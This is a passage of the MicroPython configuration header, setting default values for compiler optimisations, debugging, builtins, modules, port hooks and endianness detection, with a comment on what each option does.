runtime)\n#ifndef MICROPY_DYNAMIC_COMPILER\n#define MICROPY_DYNAMIC_COMPILER (0)\n#endif\n\n// Configure dynamic compiler macros\n#if MICROPY_DYNAMIC_COMPILER\n#define MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE_DYNAMIC (mp_dynamic_compiler.opt_cache_map_lookup_in_bytecode)\n#define MICROPY_PY_BUILTINS_STR_UNICODE_DYNAMIC (mp_dynamic_compiler.py_builtins_str_unicode)\n#else\n#define MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE_DYNAMIC MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE\n#define MICROPY_PY_BUILTINS_STR_UNICODE_DYNAMIC MICROPY_PY_BUILTINS_STR_UNICODE\n#endif\n\n// Whether to enable constant folding; eg 1+2 rewritten as 3\n#ifndef MICROPY_COMP_CONST_FOLDING\n#define MICROPY_COMP_CONST_FOLDING (1)\n#endif\n\n// Whether to enable lookup of constants in modules; eg module.CONST\n#ifndef MICROPY_COMP_MODULE_CONST\n#define MICROPY_COMP_MODULE_CONST (0)\n#endif\n\n// Whether to enable constant optimisation; id = const(value)\n#ifndef MICROPY_COMP_CONST\n#define MICROPY_COMP_CONST (1)\n#endif\n\n// Whether to enable optimisation of: a, b = c, d\n// Costs 124 bytes (Thumb2)\n#ifndef MICROPY_COMP_DOUBLE_TUPLE_ASSIGN\n#define MICROPY_COMP_DOUBLE_TUPLE_ASSIGN (1)\n#endif\n\n// Whether to enable optimisation of: a, b, c = d, e, f\n// Cost 156 bytes (Thumb2)\n#ifndef MICROPY_COMP_TRIPLE_TUPLE_ASSIGN\n#define MICROPY_COMP_TRIPLE_TUPLE_ASSIGN (0)\n#endif\n\n// Whether to enable optimisation of: return a if b else c\n// Costs about 80 bytes (Thumb2) and saves 2 bytes of bytecode for each use\n#ifndef MICROPY_COMP_RETURN_IF_EXPR\n#define MICROPY_COMP_RETURN_IF_EXPR (0)\n#endif\n\n// Whether to use an alternate parser and compiler optimised for small heaps.\n// This parser/compiler uses more code space but a lot less heap when building\n// the parse tree.  But it has the disadvantage that the entire parse tree must\n// fit in a contiguous chunk of memory on the heap.\n#ifndef MICROPY_USE_SMALL_HEAP_COMPILER\n#define MICROPY_USE_SMALL_HEAP_COMPILER (0)\n#endif\n\n/*****************************************************************************/\n/* Internal debugging stuff                                                  */\n\n// Whether to collect memory allocation stats\n#ifndef MICROPY_MEM_STATS\n#define MICROPY_MEM_STATS (0)\n#endif\n\n// Whether to build functions that print debugging info:\n//   mp_bytecode_print\n//   mp_parse_node_print\n#ifndef MICROPY_DEBUG_PRINTERS\n#define MICROPY_DEBUG_PRINTERS (0)\n#endif\n\n// Whether to enable all debugging outputs (it will be extremely verbose)\n#ifndef MICROPY_DEBUG_VERBOSE\n#define MICROPY_DEBUG_VERBOSE (0)\n#endif\n\n/*****************************************************************************/\n/* Optimisations                                                             */\n\n// Whether to use computed gotos in the VM, or a switch\n// Computed gotos are roughly 10% faster, and increase VM code size by a little\n#ifndef MICROPY_OPT_COMPUTED_GOTO\n#define MICROPY_OPT_COMPUTED_GOTO (0)\n#endif\n\n// Whether to cache result of map lookups in LOAD_NAME, LOAD_GLOBAL, LOAD_ATTR,\n// STORE_ATTR bytecodes.  Uses 1 byte extra RAM for each of these opcodes and\n// uses a bit of extra code ROM, but greatly improves lookup speed.\n#ifndef MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE\n#define MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE (0)\n#endif\n\n// Whether to use fast versions of bitwise operations (and, or, xor) when the\n// arguments are both positive.  Increases Thumb2 code size by about 250 bytes.\n#ifndef MICROPY_OPT_MPZ_BITWISE\n#define MICROPY_OPT_MPZ_BITWISE (0)\n#endif\n\n/*****************************************************************************/\n/* Python internal features                                                  */\n\n// Whether to use the POSIX reader for importing files\n#ifndef MICROPY_READER_POSIX\n#define MICROPY_READER_POSIX (0)\n#endif\n\n// Whether to use the VFS reader for importing files\n#ifndef MICROPY_READER_VFS\n#define MICROPY_READER_VFS (0)\n#endif\n\n// Hook for the VM at the start of the opcode loop (can contain variable\n// definitions usable by the other hook functions)\n#ifndef MICROPY_VM_HOOK_INIT\n#define MICROPY_VM_HOOK_INIT\n#endif\n\n// Hook for the VM during the opcode loop (but only after jump opcodes)\n#ifndef MICROPY_VM_HOOK_LOOP\n#define MICROPY_VM_HOOK_LOOP\n#endif\n\n// Hook for the VM just before return opcode is finished being interpreted\n#ifndef MICROPY_VM_HOOK_RETURN\n#define MICROPY_VM_HOOK_RETURN\n#endif\n\n// Whether to include the garbage collector\n#ifndef MICROPY_ENABLE_GC\n#define MICROPY_ENABLE_GC (0)\n#endif\n\n// Whether to enable finalisers in the garbage collector (ie call __del__)\n#ifndef MICROPY_ENABLE_FINALISER\n#define MICROPY_ENABLE_FINALISER (0)\n#endif\n\n// Whether to check C stack usage. C stack used for calling Python functions,\n// etc. Not checking means segfault on overflow.\n#ifndef MICROPY_STACK_CHECK\n#define MICROPY_STACK_CHECK (0)\n#endif\n\n// Whether to have an emergency exception buffer\n#ifndef MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF\n#define MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF (0)\n#endif\n#if MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF\n#   ifndef MICROPY_EMERGENCY_EXCEPTION_BUF_SIZE\n#   define MICROPY_EMERGENCY_EXCEPTION_BUF_SIZE (0)   // 0 - implies dynamic allocation\n#   endif\n#endif\n\n// Whether to provide the mp_kbd_exception object, and micropython.kbd_intr function\n#ifndef MICROPY_KBD_EXCEPTION\n#define MICROPY_KBD_EXCEPTION (0)\n#endif\n\n// Prefer to raise KeyboardInterrupt asynchronously (from signal or interrupt\n// handler) - if supported by a particular port.\n#ifndef MICROPY_ASYNC_KBD_INTR\n#define MICROPY_ASYNC_KBD_INTR (0)\n#endif\n\n// Whether to include REPL helper function\n#ifndef MICROPY_HELPER_REPL\n#define MICROPY_HELPER_REPL (0)\n#endif\n\n// Whether to include emacs-style readline behavior in REPL\n#ifndef MICROPY_REPL_EMACS_KEYS\n#define MICROPY_REPL_EMACS_KEYS (0)\n#endif\n\n// Whether to implement auto-indent in REPL\n#ifndef MICROPY_REPL_AUTO_INDENT\n#define MICROPY_REPL_AUTO_INDENT (0)\n#endif\n\n// Whether port requires event-driven REPL functions\n#ifndef MICROPY_REPL_EVENT_DRIVEN\n#define MICROPY_REPL_EVENT_DRIVEN (0)\n#endif\n\n// Whether to include lexer helper function for unix\n#ifndef MICROPY_HELPER_LEXER_UNIX\n#define MICROPY_HELPER_LEXER_UNIX (0)\n#endif\n\n// Long int implementation\n#define MICROPY_LONGINT_IMPL_NONE (0)\n#define MICROPY_LONGINT_IMPL_LONGLONG (1)\n#define MICROPY_LONGINT_IMPL_MPZ (2)\n\n#ifndef MICROPY_LONGINT_IMPL\n#define MICROPY_LONGINT_IMPL (MICROPY_LONGINT_IMPL_NONE)\n#endif\n\n#if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_LONGLONG\ntypedef long long mp_longint_impl_t;\n#endif\n\n// Whether to include information in the byte code to determine source\n// line number (increases RAM usage, but doesn't slow byte code execution)\n#ifndef MICROPY_ENABLE_SOURCE_LINE\n#define MICROPY_ENABLE_SOURCE_LINE (0)\n#endif\n\n// Whether to include doc strings (increases RAM usage)\n#ifndef MICROPY_ENABLE_DOC_STRING\n#define MICROPY_ENABLE_DOC_STRING (0)\n#endif\n\n// Exception messages are short static strings\n#define MICROPY_ERROR_REPORTING_TERSE    (1)\n// Exception messages provide basic error details\n#define MICROPY_ERROR_REPORTING_NORMAL   (2)\n// Exception messages provide full info, e.g. object names\n#define MICROPY_ERROR_REPORTING_DETAILED (3)\n\n#ifndef MICROPY_ERROR_REPORTING\n#define MICROPY_ERROR_REPORTING (MICROPY_ERROR_REPORTING_NORMAL)\n#endif\n\n// Whether issue warnings during compiling/execution\n#ifndef MICROPY_WARNINGS\n#define MICROPY_WARNINGS (0)\n#endif\n\n// Float and complex implementation\n#define MICROPY_FLOAT_IMPL_NONE (0)\n#define MICROPY_FLOAT_IMPL_FLOAT (1)\n#define MICROPY_FLOAT_IMPL_DOUBLE (2)\n\n#ifndef MICROPY_FLOAT_IMPL\n#define MICROPY_FLOAT_IMPL (MICROPY_FLOAT_IMPL_NONE)\n#endif\n\n#if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT\n#define MICROPY_PY_BUILTINS_FLOAT (1)\n#define MICROPY_FLOAT_CONST(x) x##F\n#define MICROPY_FLOAT_C_FUN(fun) fun##f\ntypedef float mp_float_t;\n#elif MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE\n#define MICROPY_PY_BUILTINS_FLOAT (1)\n#define MICROPY_FLOAT_CONST(x) x\n#define MICROPY_FLOAT_C_FUN(fun) fun\ntypedef double mp_float_t;\n#else\n#define MICROPY_PY_BUILTINS_FLOAT (0)\n#endif\n\n#ifndef MICROPY_PY_BUILTINS_COMPLEX\n#define MICROPY_PY_BUILTINS_COMPLEX (MICROPY_PY_BUILTINS_FLOAT)\n#endif\n\n// Whether to provide a high-quality hash for float and complex numbers.\n// Otherwise the default is a very simple but correct hashing function.\n#ifndef MICROPY_FLOAT_HIGH_QUALITY_HASH\n#define MICROPY_FLOAT_HIGH_QUALITY_HASH (0)\n#endif\n\n// Enable features which improve CPython compatibility\n// but may lead to more code size/memory usage.\n// TODO: Originally intended as generic category to not\n// add bunch of once-off options. May need refactoring later\n#ifndef MICROPY_CPYTHON_COMPAT\n#define MICROPY_CPYTHON_COMPAT (1)\n#endif\n\n// Perform full checks as done by CPython. Disabling this\n// may produce incorrect results, if incorrect data is fed,\n// but should not lead to MicroPython crashes or similar\n// grave issues (in other words, only user app should be,\n// affected, not system).\n#ifndef MICROPY_FULL_CHECKS\n#define MICROPY_FULL_CHECKS (1)\n#endif\n\n// Whether POSIX-semantics non-blocking streams are supported\n#ifndef MICROPY_STREAMS_NON_BLOCK\n#define MICROPY_STREAMS_NON_BLOCK (0)\n#endif\n\n// Whether to provide stream functions with POSIX-like signatures\n// (useful for porting existing libraries to MicroPython).\n#ifndef MICROPY_STREAMS_POSIX_API\n#define MICROPY_STREAMS_POSIX_API (0)\n#endif\n\n// Whether to call __init__ when importing builtin modules for the first time\n#ifndef MICROPY_MODULE_BUILTIN_INIT\n#define MICROPY_MODULE_BUILTIN_INIT (0)\n#endif\n\n// Whether module weak links are supported\n#ifndef MICROPY_MODULE_WEAK_LINKS\n#define MICROPY_MODULE_WEAK_LINKS (0)\n#endif\n\n// Whether frozen modules are supported in the form of strings\n#ifndef MICROPY_MODULE_FROZEN_STR\n#define MICROPY_MODULE_FROZEN_STR (0)\n#endif\n\n// Whether frozen modules are supported in the form of .mpy files\n#ifndef MICROPY_MODULE_FROZEN_MPY\n#define MICROPY_MODULE_FROZEN_MPY (0)\n#endif\n\n// Convenience macro for whether frozen modules are supported\n#ifndef MICROPY_MODULE_FROZEN\n#define MICROPY_MODULE_FROZEN (MICROPY_MODULE_FROZEN_STR || MICROPY_MODULE_FROZEN_MPY)\n#endif\n\n// Whether you can override builtins in the builtins module\n#ifndef MICROPY_CAN_OVERRIDE_BUILTINS\n#define MICROPY_CAN_OVERRIDE_BUILTINS (0)\n#endif\n\n// Whether to check that the \"self\" argument of a builtin method has the\n// correct type.  Such an explicit check is only needed if a builtin\n// method escapes to Python land without a first argument, eg\n// list.append([], 1).  Without this check such calls will have undefined\n// behaviour (usually segfault) if the first argument is the wrong type.\n#ifndef MICROPY_BUILTIN_METHOD_CHECK_SELF_ARG\n#define MICROPY_BUILTIN_METHOD_CHECK_SELF_ARG (1)\n#endif\n\n// Whether to use internally defined errno's (otherwise system provided ones)\n#ifndef MICROPY_USE_INTERNAL_ERRNO\n#define MICROPY_USE_INTERNAL_ERRNO (0)\n#endif\n\n// Whether to use internally defined *printf() functions (otherwise external ones)\n#ifndef MICROPY_USE_INTERNAL_PRINTF\n#define MICROPY_USE_INTERNAL_PRINTF (1)\n#endif\n\n// Support for internal scheduler\n#ifndef MICROPY_ENABLE_SCHEDULER\n#define MICROPY_ENABLE_SCHEDULER (0)\n#endif\n\n// Maximum number of entries in the scheduler\n#ifndef MICROPY_SCHEDULER_DEPTH\n#define MICROPY_SCHEDULER_DEPTH (4)\n#endif\n\n// Support for generic VFS sub-system\n#ifndef MICROPY_VFS\n#define MICROPY_VFS (0)\n#endif\n\n/*****************************************************************************/\n/* Fine control over Python builtins, classes, modules, etc                  */\n\n// Whether to implement attributes on functions\n#ifndef MICROPY_PY_FUNCTION_ATTRS\n#define MICROPY_PY_FUNCTION_ATTRS (0)\n#endif\n\n// Whether to support descriptors (__get__ and __set__)\n// This costs some code size and makes all load attrs and store attrs slow\n#ifndef MICROPY_PY_DESCRIPTORS\n#define MICROPY_PY_DESCRIPTORS (0)\n#endif\n\n// Whether to support class __delattr__ and __setattr__ methods\n// This costs some code size and makes all del attrs and store attrs slow\n#ifndef MICROPY_PY_DELATTR_SETATTR\n#define MICROPY_PY_DELATTR_SETATTR (0)\n#endif\n\n// Support for async/await/async for/async with\n#ifndef MICROPY_PY_ASYNC_AWAIT\n#define MICROPY_PY_ASYNC_AWAIT (!MICROPY_USE_SMALL_HEAP_COMPILER)\n#endif\n\n// Issue a warning when comparing str and bytes objects\n#ifndef MICROPY_PY_STR_BYTES_CMP_WARN\n#define MICROPY_PY_STR_BYTES_CMP_WARN (0)\n#endif\n\n// Whether str object is proper unicode\n#ifndef MICROPY_PY_BUILTINS_STR_UNICODE\n#define MICROPY_PY_BUILTINS_STR_UNICODE (0)\n#endif\n\n// Whether str.center() method provided\n#ifndef MICROPY_PY_BUILTINS_STR_CENTER\n#define MICROPY_PY_BUILTINS_STR_CENTER (0)\n#endif\n\n// Whether str.partition()/str.rpartition() method provided\n#ifndef MICROPY_PY_BUILTINS_STR_PARTITION\n#define MICROPY_PY_BUILTINS_STR_PARTITION (0)\n#endif\n\n// Whether str.splitlines() method provided\n#ifndef MICROPY_PY_BUILTINS_STR_SPLITLINES\n#define MICROPY_PY_BUILTINS_STR_SPLITLINES (0)\n#endif\n\n// Whether to support bytearray object\n#ifndef MICROPY_PY_BUILTINS_BYTEARRAY\n#define MICROPY_PY_BUILTINS_BYTEARRAY (1)\n#endif\n\n// Whether to support memoryview object\n#ifndef MICROPY_PY_BUILTINS_MEMORYVIEW\n#define MICROPY_PY_BUILTINS_MEMORYVIEW (0)\n#endif\n\n// Whether to support set object\n#ifndef MICROPY_PY_BUILTINS_SET\n#define MICROPY_PY_BUILTINS_SET (1)\n#endif\n\n// Whether to support slice subscript operators and slice object\n#ifndef MICROPY_PY_BUILTINS_SLICE\n#define MICROPY_PY_BUILTINS_SLICE (1)\n#endif\n\n// Whether to support slice attribute read access,\n// i.e. slice.start, slice.stop, slice.step\n#ifndef MICROPY_PY_BUILTINS_SLICE_ATTRS\n#define MICROPY_PY_BUILTINS_SLICE_ATTRS (0)\n#endif\n\n// Whether to support frozenset object\n#ifndef MICROPY_PY_BUILTINS_FROZENSET\n#define MICROPY_PY_BUILTINS_FROZENSET (0)\n#endif\n\n// Whether to support property object\n#ifndef MICROPY_PY_BUILTINS_PROPERTY\n#define MICROPY_PY_BUILTINS_PROPERTY (1)\n#endif\n\n// Whether to implement the start/stop/step attributes (readback) on\n// the \"range\" builtin type. Rarely used, and costs ~60 bytes (x86).\n#ifndef MICROPY_PY_BUILTINS_RANGE_ATTRS\n#define MICROPY_PY_BUILTINS_RANGE_ATTRS (1)\n#endif\n\n// Whether to support timeout exceptions (like socket.timeout)\n#ifndef MICROPY_PY_BUILTINS_TIMEOUTERROR\n#define MICROPY_PY_BUILTINS_TIMEOUTERROR (0)\n#endif\n\n// Whether to support complete set of special methods\n// for user classes, otherwise only the most used\n#ifndef MICROPY_PY_ALL_SPECIAL_METHODS\n#define MICROPY_PY_ALL_SPECIAL_METHODS (0)\n#endif\n\n// Whether to support compile function\n#ifndef MICROPY_PY_BUILTINS_COMPILE\n#define MICROPY_PY_BUILTINS_COMPILE (0)\n#endif\n\n// Whether to support enumerate function(type)\n#ifndef MICROPY_PY_BUILTINS_ENUMERATE\n#define MICROPY_PY_BUILTINS_ENUMERATE (1)\n#endif\n\n// Whether to support eval and exec functions\n// By default they are supported if the compiler is enabled\n#ifndef MICROPY_PY_BUILTINS_EVAL_EXEC\n#define MICROPY_PY_BUILTINS_EVAL_EXEC (MICROPY_ENABLE_COMPILER)\n#endif\n\n// Whether to support the Python 2 execfile function\n#ifndef MICROPY_PY_BUILTINS_EXECFILE\n#define MICROPY_PY_BUILTINS_EXECFILE (0)\n#endif\n\n// Whether to support filter function(type)\n#ifndef MICROPY_PY_BUILTINS_FILTER\n#define MICROPY_PY_BUILTINS_FILTER (1)\n#endif\n\n// Whether to support reversed function(type)\n#ifndef MICROPY_PY_BUILTINS_REVERSED\n#define MICROPY_PY_BUILTINS_REVERSED (1)\n#endif\n\n// Whether to define \"NotImplemented\" special constant\n#ifndef MICROPY_PY_BUILTINS_NOTIMPLEMENTED\n#define MICROPY_PY_BUILTINS_NOTIMPLEMENTED (0)\n#endif\n\n// Whether to provide the built-in input() function. The implementation of this\n// uses mp-readline, so can only be enabled if the port uses this readline.\n#ifndef MICROPY_PY_BUILTINS_INPUT\n#define MICROPY_PY_BUILTINS_INPUT (0)\n#endif\n\n// Whether to support min/max functions\n#ifndef MICROPY_PY_BUILTINS_MIN_MAX\n#define MICROPY_PY_BUILTINS_MIN_MAX (1)\n#endif\n\n// Support for calls to pow() with 3 integer arguments\n#ifndef MICROPY_PY_BUILTINS_POW3\n#define MICROPY_PY_BUILTINS_POW3 (0)\n#endif\n\n// Whether to provide the help function\n#ifndef MICROPY_PY_BUILTINS_HELP\n#define MICROPY_PY_BUILTINS_HELP (0)\n#endif\n\n// Use this to configure the help text shown for help().  It should be a\n// variable with the type \"const char*\".  A sensible default is provided.\n#ifndef MICROPY_PY_BUILTINS_HELP_TEXT\n#define MICROPY_PY_BUILTINS_HELP_TEXT mp_help_default_text\n#endif\n\n// Add the ability to list the available modules when executing help('modules')\n#ifndef MICROPY_PY_BUILTINS_HELP_MODULES\n#define MICROPY_PY_BUILTINS_HELP_MODULES (0)\n#endif\n\n// Whether to set __file__ for imported modules\n#ifndef MICROPY_PY___FILE__\n#define MICROPY_PY___FILE__ (1)\n#endif\n\n// Whether to provide mem-info related functions in micropython module\n#ifndef MICROPY_PY_MICROPYTHON_MEM_INFO\n#define MICROPY_PY_MICROPYTHON_MEM_INFO (0)\n#endif\n\n// Whether to provide \"array\" module. Note that large chunk of the\n// underlying code is shared with \"bytearray\" builtin type, so to\n// get real savings, it should be disabled too.\n#ifndef MICROPY_PY_ARRAY\n#define MICROPY_PY_ARRAY (1)\n#endif\n\n// Whether to support slice assignments for array (and bytearray).\n// This is rarely used, but adds ~0.5K of code.\n#ifndef MICROPY_PY_ARRAY_SLICE_ASSIGN\n#define MICROPY_PY_ARRAY_SLICE_ASSIGN (0)\n#endif\n\n// Whether to support attrtuple type (MicroPython extension)\n// It provides space-efficient tuples with attribute access\n#ifndef MICROPY_PY_ATTRTUPLE\n#define MICROPY_PY_ATTRTUPLE (1)\n#endif\n\n// Whether to provide \"collections\" module\n#ifndef MICROPY_PY_COLLECTIONS\n#define MICROPY_PY_COLLECTIONS (1)\n#endif\n\n// Whether to provide \"collections.OrderedDict\" type\n#ifndef MICROPY_PY_COLLECTIONS_ORDEREDDICT\n#define MICROPY_PY_COLLECTIONS_ORDEREDDICT (0)\n#endif\n\n// Whether to provide \"math\" module\n#ifndef MICROPY_PY_MATH\n#define MICROPY_PY_MATH (1)\n#endif\n\n// Whether to provide special math functions: math.{erf,erfc,gamma,lgamma}\n#ifndef MICROPY_PY_MATH_SPECIAL_FUNCTIONS\n#define MICROPY_PY_MATH_SPECIAL_FUNCTIONS (0)\n#endif\n\n// Whether to provide \"cmath\" module\n#ifndef MICROPY_PY_CMATH\n#define MICROPY_PY_CMATH (0)\n#endif\n\n// Whether to provide \"gc\" module\n#ifndef MICROPY_PY_GC\n#define MICROPY_PY_GC (1)\n#endif\n\n// Whether to return number of collected objects from gc.collect()\n#ifndef MICROPY_PY_GC_COLLECT_RETVAL\n#define MICROPY_PY_GC_COLLECT_RETVAL (0)\n#endif\n\n// Whether to provide \"io\" module\n#ifndef MICROPY_PY_IO\n#define MICROPY_PY_IO (1)\n#endif\n\n// Whether to provide \"uio.resource_stream()\" function with\n// the semantics of CPython's pkg_resources.resource_stream()\n// (allows to access resources in frozen packages).\n#ifndef MICROPY_PY_IO_RESOURCE_STREAM\n#define MICROPY_PY_IO_RESOURCE_STREAM (0)\n#endif\n\n// Whether to provide \"io.FileIO\" class\n#ifndef MICROPY_PY_IO_FILEIO\n#define MICROPY_PY_IO_FILEIO (0)\n#endif\n\n// Whether to provide \"io.BytesIO\" class\n#ifndef MICROPY_PY_IO_BYTESIO\n#define MICROPY_PY_IO_BYTESIO (1)\n#endif\n\n// Whether to provide \"io.BufferedWriter\" class\n#ifndef MICROPY_PY_IO_BUFFEREDWRITER\n#define MICROPY_PY_IO_BUFFEREDWRITER (0)\n#endif\n\n// Whether to provide \"struct\" module\n#ifndef MICROPY_PY_STRUCT\n#define MICROPY_PY_STRUCT (1)\n#endif\n\n// Whether to provide \"sys\" module\n#ifndef MICROPY_PY_SYS\n#define MICROPY_PY_SYS (1)\n#endif\n\n// Whether to provide \"sys.maxsize\" constant\n#ifndef MICROPY_PY_SYS_MAXSIZE\n#define MICROPY_PY_SYS_MAXSIZE (0)\n#endif\n\n// Whether to provide \"sys.modules\" dictionary\n#ifndef MICROPY_PY_SYS_MODULES\n#define MICROPY_PY_SYS_MODULES (1)\n#endif\n\n// Whether to provide \"sys.exc_info\" function\n// Avoid enabling this, this function is Python2 heritage\n#ifndef MICROPY_PY_SYS_EXC_INFO\n#define MICROPY_PY_SYS_EXC_INFO (0)\n#endif\n\n// Whether to provide \"sys.exit\" function\n#ifndef MICROPY_PY_SYS_EXIT\n#define MICROPY_PY_SYS_EXIT (1)\n#endif\n\n// Whether to provide \"sys.getsizeof\" function\n#ifndef MICROPY_PY_SYS_GETSIZEOF\n#define MICROPY_PY_SYS_GETSIZEOF (0)\n#endif\n\n// Whether to provide sys.{stdin,stdout,stderr} objects\n#ifndef MICROPY_PY_SYS_STDFILES\n#define MICROPY_PY_SYS_STDFILES (0)\n#endif\n\n// Whether to provide sys.{stdin,stdout,stderr}.buffer object\n// This is implemented per-port\n#ifndef MICROPY_PY_SYS_STDIO_BUFFER\n#define MICROPY_PY_SYS_STDIO_BUFFER (0)\n#endif\n\n// Whether to provide \"uerrno\" module\n#ifndef MICROPY_PY_UERRNO\n#define MICROPY_PY_UERRNO (0)\n#endif\n\n// Whether to provide the uerrno.errorcode dict\n#ifndef MICROPY_PY_UERRNO_ERRORCODE\n#define MICROPY_PY_UERRNO_ERRORCODE (1)\n#endif\n\n// Whether to provide \"uselect\" module (baremetal implementation)\n#ifndef MICROPY_PY_USELECT\n#define MICROPY_PY_USELECT (0)\n#endif\n\n// Whether to provide \"utime\" module functions implementation\n// in terms of mp_hal_* functions.\n#ifndef MICROPY_PY_UTIME_MP_HAL\n#define MICROPY_PY_UTIME_MP_HAL (0)\n#endif\n\n// Period of values returned by utime.ticks_ms(), ticks_us(), ticks_cpu()\n// functions. Should be power of two. All functions above use the same\n// period, so if underlying hardware/API has different periods, the\n// minimum of them should be used. The value below is the maximum value\n// this parameter can take (corresponding to 30 bit tick values on 32-bit\n// system).\n#ifndef MICROPY_PY_UTIME_TICKS_PERIOD\n#define MICROPY_PY_UTIME_TICKS_PERIOD (MP_SMALL_INT_POSITIVE_MASK + 1)\n#endif\n\n// Whether to provide \"_thread\" module\n#ifndef MICROPY_PY_THREAD\n#define MICROPY_PY_THREAD (0)\n#endif\n\n// Whether to make the VM/runtime thread-safe using a global lock\n// If not enabled then thread safety must be provided at the Python level\n#ifndef MICROPY_PY_THREAD_GIL\n#define MICROPY_PY_THREAD_GIL (MICROPY_PY_THREAD)\n#endif\n\n// Number of VM jump-loops to do before releasing the GIL.\n// Set this to 0 to disable the divisor.\n#ifndef MICROPY_PY_THREAD_GIL_VM_DIVISOR\n#define MICROPY_PY_THREAD_GIL_VM_DIVISOR (32)\n#endif\n\n// Extended modules\n\n#ifndef MICROPY_PY_UCTYPES\n#define MICROPY_PY_UCTYPES (0)\n#endif\n\n#ifndef MICROPY_PY_UZLIB\n#define MICROPY_PY_UZLIB (0)\n#endif\n\n#ifndef MICROPY_PY_UJSON\n#define MICROPY_PY_UJSON (0)\n#endif\n\n#ifndef MICROPY_PY_URE\n#define MICROPY_PY_URE (0)\n#endif\n\n#ifndef MICROPY_PY_UHEAPQ\n#define MICROPY_PY_UHEAPQ (0)\n#endif\n\n// Optimized heap queue for relative timestamps\n#ifndef MICROPY_PY_UTIMEQ\n#define MICROPY_PY_UTIMEQ (0)\n#endif\n\n#ifndef MICROPY_PY_UHASHLIB\n#define MICROPY_PY_UHASHLIB (0)\n#endif\n\n#ifndef MICROPY_PY_UBINASCII\n#define MICROPY_PY_UBINASCII (0)\n#endif\n\n// Depends on MICROPY_PY_UZLIB\n#ifndef MICROPY_PY_UBINASCII_CRC32\n#define MICROPY_PY_UBINASCII_CRC32 (0)\n#endif\n\n#ifndef MICROPY_PY_URANDOM\n#define MICROPY_PY_URANDOM (0)\n#endif\n\n// Whether to include: randrange, randint, choice, random, uniform\n#ifndef MICROPY_PY_URANDOM_EXTRA_FUNCS\n#define MICROPY_PY_URANDOM_EXTRA_FUNCS (0)\n#endif\n\n#ifndef MICROPY_PY_MACHINE\n#define MICROPY_PY_MACHINE (0)\n#endif\n\n// Whether to include: time_pulse_us\n#ifndef MICROPY_PY_MACHINE_PULSE\n#define MICROPY_PY_MACHINE_PULSE (0)\n#endif\n\n#ifndef MICROPY_PY_MACHINE_I2C\n#define MICROPY_PY_MACHINE_I2C (0)\n#endif\n\n#ifndef MICROPY_PY_MACHINE_SPI\n#define MICROPY_PY_MACHINE_SPI (0)\n#endif\n\n#ifndef MICROPY_PY_USSL\n#define MICROPY_PY_USSL (0)\n#endif\n\n#ifndef MICROPY_PY_WEBSOCKET\n#define MICROPY_PY_WEBSOCKET (0)\n#endif\n\n#ifndef MICROPY_PY_FRAMEBUF\n#define MICROPY_PY_FRAMEBUF (0)\n#endif\n\n#ifndef MICROPY_PY_BTREE\n#define MICROPY_PY_BTREE (0)\n#endif\n\n/*****************************************************************************/\n/* Hooks for a port to add builtins                                          */\n\n// Additional builtin function definitions - see builtintables.c:builtin_object_table for format.\n#ifndef MICROPY_PORT_BUILTINS\n#define MICROPY_PORT_BUILTINS\n#endif\n\n// Additional builtin module definitions - see builtintables.c:builtin_module_table for format.\n#ifndef MICROPY_PORT_BUILTIN_MODULES\n#define MICROPY_PORT_BUILTIN_MODULES\n#endif\n\n// Any module weak links - see builtintables.c:mp_builtin_module_weak_links_table.\n#ifndef MICROPY_PORT_BUILTIN_MODULE_WEAK_LINKS\n#define MICROPY_PORT_BUILTIN_MODULE_WEAK_LINKS\n#endif\n\n// Additional constant definitions for the compiler - see compile.c:mp_constants_table.\n#ifndef MICROPY_PORT_CONSTANTS\n#define MICROPY_PORT_CONSTANTS\n#endif\n\n// Any root pointers for GC scanning - see mpstate.c\n#ifndef MICROPY_PORT_ROOT_POINTERS\n#define MICROPY_PORT_ROOT_POINTERS\n#endif\n\n/*****************************************************************************/\n/* Miscellaneous settings                                                    */\n\n// All uPy objects in ROM must be aligned on at least a 4 byte boundary\n// so that the small-int/qstr/pointer distinction can be made.  For machines\n// that don't do this (eg 16-bit CPU), define the following macro to something\n// like __attribute__((aligned(4))).\n#ifndef MICROPY_OBJ_BASE_ALIGNMENT\n#define MICROPY_OBJ_BASE_ALIGNMENT\n#endif\n\n// On embedded platforms, these will typically enable/disable irqs.\n#ifndef MICROPY_BEGIN_ATOMIC_SECTION\n#define MICROPY_BEGIN_ATOMIC_SECTION() (0)\n#endif\n#ifndef MICROPY_END_ATOMIC_SECTION\n#define MICROPY_END_ATOMIC_SECTION(state) (void)(state)\n#endif\n\n// Allow to override static modifier for global objects, e.g. to use with\n// object code analysis tools which don't support static symbols.\n#ifndef STATIC\n#define STATIC static\n#endif\n\n// Number of bytes in a word\n#ifndef BYTES_PER_WORD\n#define BYTES_PER_WORD (sizeof(mp_uint_t))\n#endif\n\n#define BITS_PER_BYTE (8)\n#define BITS_PER_WORD (BITS_PER_BYTE * BYTES_PER_WORD)\n// mp_int_t value with most significant bit set\n#define WORD_MSBIT_HIGH (((mp_uint_t)1) << (BYTES_PER_WORD * 8 - 1))\n\n// Make sure both MP_ENDIANNESS_LITTLE and MP_ENDIANNESS_BIG are\n// defined and that they are the opposite of each other.\n#if defined(MP_ENDIANNESS_LITTLE)\n#define MP_ENDIANNESS_BIG (!MP_ENDIANNESS_LITTLE)\n#elif defined(MP_ENDIANNESS_BIG)\n#define MP_ENDIANNESS_LITTLE (!MP_ENDIANNESS_BIG)\n#else\n  // Endiannes not defined by port so try to autodetect it.\n  #if defined(__BYTE_ORDER__)\n    #if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n      #define MP_ENDIANNESS_LITTLE (1)\n    #else\n      #define MP_ENDIANNESS_LITTLE (0)\n    #endif\n  #elif defined(__LITTLE_ENDIAN__) || defined(__LITTLE_ENDIAN) || defined (_LITTLE_ENDIAN)\n    #define MP_ENDIANNESS_LITTLE (1)\n  #elif defined(__BIG_ENDIAN__) || defined(__BIG_ENDIAN) || defined (_BIG_ENDIAN)\n    #define 